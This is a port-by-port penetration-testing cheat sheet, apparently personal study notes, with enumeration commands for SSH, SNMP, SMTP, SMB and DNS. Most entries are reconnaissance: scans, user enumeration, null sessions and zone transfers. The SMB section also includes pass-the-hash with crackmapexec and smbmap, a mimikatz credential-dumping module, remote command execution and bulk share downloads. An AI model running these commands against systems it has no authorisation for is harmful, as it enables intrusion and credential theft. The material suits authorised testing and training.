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Port_Scan_By_Ports
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Port_Scan_By_Ports
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#SSH
• nmap -sV --script=ssh-* -p 22 XX.XX.XX.XX
------------------------
#SNMP
• sudo nmap -sU --open -p 161 XX.XX.XX.XX-254 -oG open-snmp.txt
• snmpwalk -c public -v1 -t 10 XX.XX.XX.XX
• snmp-check -t $ip -c public
• nmap -sU -p161 --script "snmp-*" $ip
------------------------
#Enumerating Windows Users
• snmpwalk -c public -v1 XX.XX.XX.XX 1.3.6.1.4.1.77.1.2.25
------------------------
#Enumerating Running Windows Processes
• snmpwalk -c public -v1 XX.XX.XX.XX 1.3.6.1.2.1.25.4.2.1.2
------------------------
#Enumerating Open TCP Ports
• snmpwalk -c public -v1 XX.XX.XX.XX 1.3.6.1.2.1.6.13.1.3
------------------------
#Enumerating Installed Software
• snmpwalk -c public -v1 XX.XX.XX.XX 1.3.6.1.2.1.25.6.3.1.2
------------------------
#SMTP
#telnet or netcat connection
• nc <targetip> 25
• VRFY root
------------------------
#Check for commands
• nmap -script smtp-commands.nse <targetip>
• nmap XX.XX.XX.XX -p 25 --script=smtp-*
• nc -nv XX.XX.XX.XX 25
------------------------
Command to check if a user exists
VRFY root
Command to ask the server if a user belongs to a mailing list
EXPN root
------------------------
#Always do users enumeration
• smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t $ip
• smtp-user-enum -M VRFY -U /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt -t $ip
------------------------
#SMB
------------------------
#Enumerate Hostname - nmblookup -A $ip
• List Shares
• smbmap -H $ip
• echo exit | smbclient -L \\\\$ip
• nmap --script smb-enum-shares -p 139,445 $ip
• smbclient -N -L //XX.XX.XX.XX
------------------------
#Check Null Sessions
• smbmap -H $ip
• rpcclient -U "" -N $ip
• smbclient -N -L \\\\XX.XX.XX.XX\\
• smbclient \\\\$ip\\[share name]
• smbclient -L XX.XX.XX.XX--option='client min protocol=NT1'
• smbclient -L //XX.XX.XX.XX/ --option='client min protocol=NT1'
• smbclient \\\\XX.XX.XX.XX\\'bob share' --option='client min protocol=NT1'
------------------------
#Check for Vulnerabilities -
nmap --script smb-vuln* -p 139,445 $ip
------------------------
#Overall Scan -
enum4linux -a $ip
------------------------
#Manual Inspection
• smbver.sh $ip (port)
------------------------
#rpcclient
• rpcclient -U '' $ip
• Password:
• rpcclient $> srvinfo # operating system version
• rpcclient $> netshareenumall # enumerate all shares and its paths
• rpcclient $> enumdomusers # enumerate usernames defined on the server
• rpcclient $> getdompwinfo # smb password policy configured on the server
------------------------
#CrackMapExe
• crackmapexec -u 'guest' -p '' --shares $ip
• crackmapexec -u 'guest' -p '' --rid-brute 4000 $ip
• crackmapexec -u 'guest' -p '' --users $ip
• crackmapexec smb XX.XX.XX.XX/24 -u Administrator -p P@ssw0rd
• crackmapexec smb XX.XX.XX.XX/24 -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B
• crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -M mimikatz XX.XX.XX.XX/24
• crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -x whoami $ip
• crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B --exec-method smbexec -x whoami $ip# reliable pth code execution
------------------------
#smbmap
• smbmap -u '' -p '' -H $ip # similar to crackmapexec --shares
• smbmap -u guest -p '' -H $ip
• smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip
• smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -r # list top level dir
• smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -R # list everything recursively
• smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '.*' # download everything recursively in the wwwroot share to /usr/share/smbmap. great when smbclient doesnt work
• smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -x whoami # no work
------------------------
# Share List:
• smbclient --list <targetip>
• smbclient -L <targetip>
• smbclient -L //XX.XX.XX.XX
------------------------
# SMB Client:
• smbclient //XX.XX.XX.XX/pathname
• smbclient -L //XX.XX.XX.XX
------------------------
# SMB Map:
• smbmap -H XX.XX.XX.XX
• smbmap -H XX.XX.XX.XX -R --depth 5
• smbmap -H htb.local -u <username> -p <password>
------------------------
# Check SMB vulnerabilities:
• nmap --script=smb-check-vulns.nse <targetip> -p445
• nmap --script vuln XX.XX.XX.XX -p445
• nmap --script "vuln" <targetip> -p139,445
------------------------
# basic nmap scripts to enumerate shares and OS discovery
• nmap -p 139,445 XX.XX.XX.XX/24 --script smb-enum-shares.nse smb-os-discovery.nse
• nmap --script smb-enum-shares.nse -p445 XX.XX.XX.XX
------------------------
# Connect using Username
• smbclient -L <targetip> -U username -p 445
------------------------
# Connect to Shares
• smbclient \\\\<targetip>\\ShareName
• smbclient \\\\<targetip>\\ShareName -U User_name
------------------------
# enumarete with smb-shares, -a “do everything” option
• enum4linux -a XX.XX.XX.XX
• enum4linux -i XX.XX.XX.XX
------------------------
# learn the machine name and then enumerate with smbclient
• nmblookup -A XX.XX.XX.XX
• smbclient -L <server_name> -I XX.XX.XX.XX
------------------------
# DNS ENUM
• dnsenum zonetransfer.me
------------------------
# DNS RECON
• dnsrecon -d okmurugur.com -t axfr
• dnsrecon -d XX.XX.XX.XX -r XX.XX.XX.XX/8
------------------------
# DNS ENUMERATiON
• host www.okmurugur.com
• host -t mx okmurugur.com
• host -t txt okmurugur.com
------------------------
# DiG
• dig axfr @XX.XX.XX.XX okmurugur.com